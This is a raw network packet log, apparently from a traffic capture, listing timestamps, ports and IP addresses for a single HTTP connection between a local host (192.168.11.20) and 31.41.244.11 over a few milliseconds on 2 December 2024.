Dec 2, 2024 11:21:09.805150986 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.805202961 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.805208921 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.805280924 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.805363894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.805370092 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.805424929 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.805485964 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.805516005 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.805550098 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.805581093 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.805624962 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.805659056 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.805659056 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.805691957 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.805728912 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.805771112 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.805788040 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.805835962 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.805892944 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.805905104 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.805939913 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.805984974 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.806030035 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.806037903 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.806077003 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.806117058 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.806117058 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.806143045 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.806322098 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.806368113 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.806399107 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.806442976 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.806516886 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.806545019 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.806576967 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.806622028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.806633949 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.806685925 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.806765079 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.806941032 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.806973934 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807018042 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807061911 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807091951 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807102919 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.807154894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807164907 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.807214022 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807245016 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807274103 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.807307005 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807317972 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.807374954 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.807426929 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807457924 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807467937 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.807555914 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807595015 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.807619095 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807651043 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807693958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807701111 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.807755947 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807760954 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.807797909 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807883024 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807908058 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.807948112 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.807976007 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.808039904 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.808079004 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.808101892 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.808140993 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.808171034 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.808233976 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.808284998 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.808320045 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.808367014 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.808396101 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.808454990 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.808454990 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.808542967 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.808589935 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.808618069 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.808662891 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.808675051 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.808675051 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.808775902 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.808790922 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.808826923 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.808871031 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.808922052 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.809007883 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.809016943 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.809056044 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.809102058 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.809144974 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.809175014 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.809184074 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.809235096 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.809245110 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.809297085 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.809351921 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.809375048 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.809396029 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.809465885 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.809520006 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.809614897 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.809621096 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.809660912 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.809706926 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.809753895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.809758902 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.809798956 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.809847116 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.809951067 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.810018063 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.810101986 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.810133934 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.810161114 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.810234070 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.810246944 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.810297012 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.810327053 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.810370922 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.810379028 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.810473919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.810481071 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.810520887 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.810564995 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.810575008 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.810621023 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.810684919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.810702085 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.810802937 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.810820103 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.810868025 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.810911894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.810941935 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.810986042 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.811001062 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.811048985 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.811105013 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.811116934 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.811153889 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.811197996 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.811249018 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.811338902 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.811415911 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.811448097 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.811491966 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.811536074 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.811566114 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.811573982 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.811629057 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.811639071 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.811732054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.811743975 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.811780930 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.811789989 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.811842918 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.811872005 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.811903954 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.811934948 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.812019110 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.812057018 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.812081099 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.812110901 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.812158108 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.812210083 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.812267065 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.812313080 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.812341928 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.812418938 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.812465906 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.812582970 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.812630892 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.812659979 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.812705040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.812719107 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.812719107 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.812819004 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.812834024 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.812869072 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.812913895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.812958002 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.812988043 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.813003063 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.813050985 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.813057899 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.813112020 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.813117981 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.813185930 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.813308001 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.813328981 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.813426018 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.813479900 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.813510895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.813555002 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.813599110 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.813628912 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.813641071 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.813705921 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.813754082 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.813787937 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.813874960 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.813905954 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.813950062 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.813966036 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.814017057 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.814023018 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.814060926 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.814105988 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.814112902 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.814161062 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.814225912 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.814255953 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.814291000 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.814359903 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.814371109 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.814420938 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.814450979 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.814495087 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.814502954 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.814596891 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.814605951 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.814645052 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.814654112 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.814744949 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.814856052 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.814903021 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.814930916 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.814975977 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.814994097 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.814994097 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.815049887 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.815082073 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.815129995 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.815135956 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.815228939 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.815252066 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.815279007 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.815305948 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.815340996 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.815386057 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.815476894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.815488100 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.815526962 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.815572023 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.815629959 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.815674067 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.815704107 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.815720081 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.815764904 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.815824032 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.815867901 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.815901995 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.815907001 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.815958977 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.816004038 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.816019058 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.816050053 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.816093922 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.816107988 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.816148996 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.816220045 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.816240072 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.816268921 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.816312075 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.816370964 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.816447973 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.816529989 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.816560030 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.816605091 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.816683054 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.816736937 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.816760063 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.816783905 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.816829920 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.816878080 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.816934109 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.816970110 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.816975117 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.817028046 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.817075968 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.817081928 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.817118883 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.817182064 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.817224026 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.817229986 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.817349911 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.817385912 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.817488909 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.817502022 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.817550898 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.817596912 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.817627907 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.817671061 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.817682981 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.817683935 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.817742109 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.817774057 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.817821026 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.817826033 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.817892075 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.817969084 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.817995071 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.818016052 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.818099976 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.818113089 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.818231106 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.818255901 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.818281889 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.818326950 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.818373919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.818378925 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.818417072 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.818461895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.818506002 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.818527937 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.818597078 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.818603039 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.818645954 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.818711042 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.818850040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.818860054 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.818898916 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.819010019 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.819092035 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.819138050 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.819168091 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.819212914 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.819231033 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.819273949 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.819284916 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.819320917 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.819367886 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.819374084 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.819415092 CET	49753	80	192.168.11.20	31.41.244.11
